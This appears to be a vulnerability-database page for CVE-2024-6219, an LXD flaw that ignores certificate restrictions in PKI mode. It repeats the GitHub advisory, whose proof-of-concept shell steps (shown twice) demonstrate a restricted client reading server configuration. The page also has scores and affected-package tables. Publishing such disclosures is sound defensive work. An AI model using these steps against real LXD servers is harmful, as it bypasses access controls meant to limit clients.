CVE-2024-6219
lxd has a restricted TLS certificate privilege escalation when in PKI mode
Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.8
Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.
- Record
CVE-2024-6219- CVSS 3.1
- 3.8 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-295
- Updated
- 2026-11-02
EUVDEUVD-2024-3485
3.8
Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.
- Record
EUVD-2024-3485- CVSS 3.1
- 3.8 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jpmc-7p9c-4rxf
3.8
lxd has a restricted TLS certificate privilege escalation when in PKI mode
Summary
If a server.ca file is present in LXD_DIR at LXD start up, LXD is in "PKI mode". In this mode, all clients must have certificates that have been signed by the CA.
The LXD configuration option core.trust_ca_certificates defaults to false. This means that although the client certificate has been signed by the CA, LXD will additionally add the certificate to the trust store and verify it via mTLS.
When a restricted certificate is added to the trust store in this mode, it's restrictions are not honoured, and the client has full access to LXD.
Details
When authorization was refactored to allow for generalisation (at the time for TLS, RBAC, and OpenFGA, see https://github.com/canonical/lxd/pull/12313), PKI mode did not account for the core.trust_ca_certificates configuration option. When this option is enabled, all CA-signed client certificates are given full access to LXD. This cherry-pick from Incus was added to LXD to fix the issue.
The cherry-pick fixed the immediate issue and allowed full access to LXD for CA-signed client certificates when core.trust_ca_certificates is enabled, but did not consider the behaviour of LXD when core.trust_ca_certificates is disabled.
When core.trust_ca_certificates is false, restrictions that are applied to a certificate should be honoured. Instead, they are being ignored due to the presence of a server.ca file in LXD_DIR.
PoC
# Install/initialize LXD
$ snap install lxd --channel 5.21/stable
$ lxd init --auto
$ lxc config set core.https_address=127.0.0.1:8443
# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa
$ cp -R /usr/share/easy-rsa "/tmp/pki"
$ export EASYRSA_KEY_SIZE=4096
$ cd /tmp/pki
$ ./easyrsa init-pki
$ echo "lxd" | ./easyrsa build-ca nopass
$ ./easyrsa build-client-full lxd-client nopass
$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca
$ cp pki/issued/lxd-client.crt ~/snap/lxd/common/config/client.crt
$ cp pki/private/lxd-client.key ~/snap/lxd/common/config/client.key
# Restart daemon.
$ systemctl reload snap.lxd.daemon
# Add a restricted certificate to the trust store.
$ token="$(lxc config trust add --name ca-test --quiet --restricted)"
$ lxc remote add tls "${token}"
# Our client has a CA-signed certificate, but it is restricted, so the client should not be able to view server config.
$ lxc config get tls: core.https_address
127.0.0.1:8443
Impact
I believe this vulnerability is low impact because PKI mode is:
- Not the standard or recommended mode of operation for LXD.
- While
core.trust_ca_certificatesdefaults to false, we believe that users who enable PKI mode will generally havecore.trust_ca_certificatesenabled to allow for passwordless PKI with CRL revocation (see https://github.com/canonical/lxd/issues/3832). When this mode is enabled, all clients with CA-signed certificates have root access* anyway.
*Note: If a restricted certificate is added before core.trust_ca_certificates is enabled, the certificate becomes unrestricted. We believe this was the original intention of the PR, but this should be changed to disallow any unintended permission change.
- Record
GHSA-jpmc-7p9c-4rxf- CVSS 3.1
- 3.8 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-287, CWE-295
- Updated
- 2026-11-02
NVD
3.8
Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.
- Record
CVE-2024-6219- CVSS 3.1
- 3.8 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-295
- Updated
- 2026-11-02
OSV
3.8
Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.
- Record
CVE-2024-6219- CVSS 3.1
- 3.8 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
OSVGHSA-jpmc-7p9c-4rxf
3.8
lxd has a restricted TLS certificate privilege escalation when in PKI mode
Summary
If a server.ca file is present in LXD_DIR at LXD start up, LXD is in "PKI mode". In this mode, all clients must have certificates that have been signed by the CA.
The LXD configuration option core.trust_ca_certificates defaults to false. This means that although the client certificate has been signed by the CA, LXD will additionally add the certificate to the trust store and verify it via mTLS.
When a restricted certificate is added to the trust store in this mode, it's restrictions are not honoured, and the client has full access to LXD.
Details
When authorization was refactored to allow for generalisation (at the time for TLS, RBAC, and OpenFGA, see https://github.com/canonical/lxd/pull/12313), PKI mode did not account for the core.trust_ca_certificates configuration option. When this option is enabled, all CA-signed client certificates are given full access to LXD. This cherry-pick from Incus was added to LXD to fix the issue.
The cherry-pick fixed the immediate issue and allowed full access to LXD for CA-signed client certificates when core.trust_ca_certificates is enabled, but did not consider the behaviour of LXD when core.trust_ca_certificates is disabled.
When core.trust_ca_certificates is false, restrictions that are applied to a certificate should be honoured. Instead, they are being ignored due to the presence of a server.ca file in LXD_DIR.
PoC
# Install/initialize LXD
$ snap install lxd --channel 5.21/stable
$ lxd init --auto
$ lxc config set core.https_address=127.0.0.1:8443
# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa
$ cp -R /usr/share/easy-rsa "/tmp/pki"
$ export EASYRSA_KEY_SIZE=4096
$ cd /tmp/pki
$ ./easyrsa init-pki
$ echo "lxd" | ./easyrsa build-ca nopass
$ ./easyrsa build-client-full lxd-client nopass
$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca
$ cp pki/issued/lxd-client.crt ~/snap/lxd/common/config/client.crt
$ cp pki/private/lxd-client.key ~/snap/lxd/common/config/client.key
# Restart daemon.
$ systemctl reload snap.lxd.daemon
# Add a restricted certificate to the trust store.
$ token="$(lxc config trust add --name ca-test --quiet --restricted)"
$ lxc remote add tls "${token}"
# Our client has a CA-signed certificate, but it is restricted, so the client should not be able to view server config.
$ lxc config get tls: core.https_address
127.0.0.1:8443
Impact
I believe this vulnerability is low impact because PKI mode is:
- Not the standard or recommended mode of operation for LXD.
- While
core.trust_ca_certificatesdefaults to false, we believe that users who enable PKI mode will generally havecore.trust_ca_certificatesenabled to allow for passwordless PKI with CRL revocation (see https://github.com/canonical/lxd/issues/3832). When this mode is enabled, all clients with CA-signed certificates have root access* anyway.
*Note: If a restricted certificate is added before core.trust_ca_certificates is enabled, the certificate becomes unrestricted. We believe this was the original intention of the PR, but this should be changed to disallow any unintended permission change.
- Record
GHSA-jpmc-7p9c-4rxf- CVSS 3.1
- 3.8 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-287, CWE-295
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2024-6219
3.8
Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.
- Record
UBUNTU-CVE-2024-6219- CVSS 3.1
- 3.8 Low
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
OSVGO-2024-3313 No score
Restricted TLS certificate privilege escalation when in PKI mode in github.com/canonical/lxd
Restricted TLS certificate privilege escalation when in PKI mode in github.com/canonical/lxd
- Record
GO-2024-3313- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:14567-1 No score
govulncheck-vulndb-0.0.20241209T183251-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20241209T183251-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:14567-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/canonical/lxdGo |
before 0.0.0-20240403103450-0e7f2b5bf4d2 | 0.0.0-20240403103450-0e7f2b5bf4d2 |
lxdUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 0.20-0ubuntu40.21-0ubuntu30.21-0ubuntu50.22-0ubuntu10.22-0ubuntu2 Show 45 moreShow less0.23-0ubuntu10.23-0ubuntu20.23-0ubuntu30.24-0ubuntu20.24-0ubuntu30.24-0ubuntu40.25-0ubuntu10.26-0ubuntu20.26-0ubuntu30.27-0ubuntu10.27-0ubuntu22.0.0~beta1-0ubuntu32.0.0~beta1-0ubuntu42.0.0~beta2-0ubuntu12.0.0~beta2-0ubuntu22.0.0~beta3-0ubuntu12.0.0~beta3-0ubuntu22.0.0~beta3-0ubuntu32.0.0~beta3-0ubuntu42.0.0~beta4-0ubuntu12.0.0~beta4-0ubuntu22.0.0~beta4-0ubuntu32.0.0~beta4-0ubuntu42.0.0~beta4-0ubuntu52.0.0~beta4-0ubuntu62.0.0~beta4-0ubuntu72.0.0~rc1-0ubuntu12.0.0~rc1-0ubuntu22.0.0~rc1-0ubuntu32.0.0~rc2-0ubuntu22.0.0~rc2-0ubuntu32.0.0~rc3-0ubuntu12.0.0~rc3-0ubuntu22.0.0~rc3-0ubuntu32.0.0~rc3-0ubuntu42.0.0~rc4-0ubuntu12.0.0~rc5-0ubuntu12.0.0~rc6-0ubuntu12.0.0~rc6-0ubuntu22.0.0~rc7-0ubuntu12.0.0~rc7-0ubuntu22.0.0~rc8-0ubuntu12.0.0~rc8-0ubuntu22.0.0~rc8-0ubuntu32.0.0~rc8-0ubuntu5 |
None known |
lxdUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 2.18-0ubuntu62.19-0ubuntu12.20-0ubuntu32.20-0ubuntu42.21-0ubuntu1 Show 18 moreShow less2.21-0ubuntu22.21-0ubuntu32.21-0ubuntu43.0.0~beta2-0ubuntu33.0.0~beta3-0ubuntu33.0.0~beta5-0ubuntu23.0.0~beta7-0ubuntu13.0.0-0ubuntu13.0.0-0ubuntu23.0.0-0ubuntu33.0.0-0ubuntu43.0.1-0ubuntu1~18.04.13.0.2-0ubuntu1~18.04.13.0.3-0ubuntu1~18.04.13.0.3-0ubuntu1~18.04.23.0.3-0ubuntu1~18.04.2+esm13.0.3-0ubuntu1~18.04.2+esm23.0.3-0ubuntu1~18.04.2+esm3 |
None known |
lxdUbuntu:20.04:LTS |
All versions, plus listed versions 1:0.71:0.81:0.91:0.10 |
None known |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 21 CVEs |
before 0.0.20241209T183251-1.1 | 0.0.20241209T183251-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-6219 is a low vulnerability (CVSS 3.8) in Canonical Lxd, published December 5, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.16%, the 4th percentile. Fixed in github.com/canonical/lxd 0.0.0-20240403103450-0e7f2b5bf4d2.
References
github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf
cve.org/CVERecord?id=CVE-2024-6219
nvd.nist.gov/vuln/detail/CVE-2024-6219
github.com/canonical/lxd/pull/12313
pkg.go.dev/vuln/GO-2024-3313
github.com/canonical/lxd/commit/5cdc9a35b9c51e981b1e70330bde0413ccacc7fd
Show 26 moreShow less
github.com/advisories/GHSA-jpmc-7p9c-4rxf
github.com/CVEProject/cvelistV5/tree/main/cves/2024/6xxx/CVE-2024-6219.json
github.com/canonical/lxd
ubuntu.com/security/CVE-2024-6219
lists.opensuse.org/archives/list/[email protected]/thread/EK3MV2UFLDNRIXIWLVT5CJNSLB2MKFBU
suse.com/security/cve/CVE-2024-10220
suse.com/security/cve/CVE-2024-36620
suse.com/security/cve/CVE-2024-36621
suse.com/security/cve/CVE-2024-36623
suse.com/security/cve/CVE-2024-37820
suse.com/security/cve/CVE-2024-43784
suse.com/security/cve/CVE-2024-45719
suse.com/security/cve/CVE-2024-50948
suse.com/security/cve/CVE-2024-52003
suse.com/security/cve/CVE-2024-52529
suse.com/security/cve/CVE-2024-52801
suse.com/security/cve/CVE-2024-53259
suse.com/security/cve/CVE-2024-53264
suse.com/security/cve/CVE-2024-53858
suse.com/security/cve/CVE-2024-53862
suse.com/security/cve/CVE-2024-54131
suse.com/security/cve/CVE-2024-54132
suse.com/security/cve/CVE-2024-6156
suse.com/security/cve/CVE-2024-6219
suse.com/security/cve/CVE-2024-6538
suse.com/security/cve/CVE-2024-8676
Left out here: 26 versions. The JSON record has them.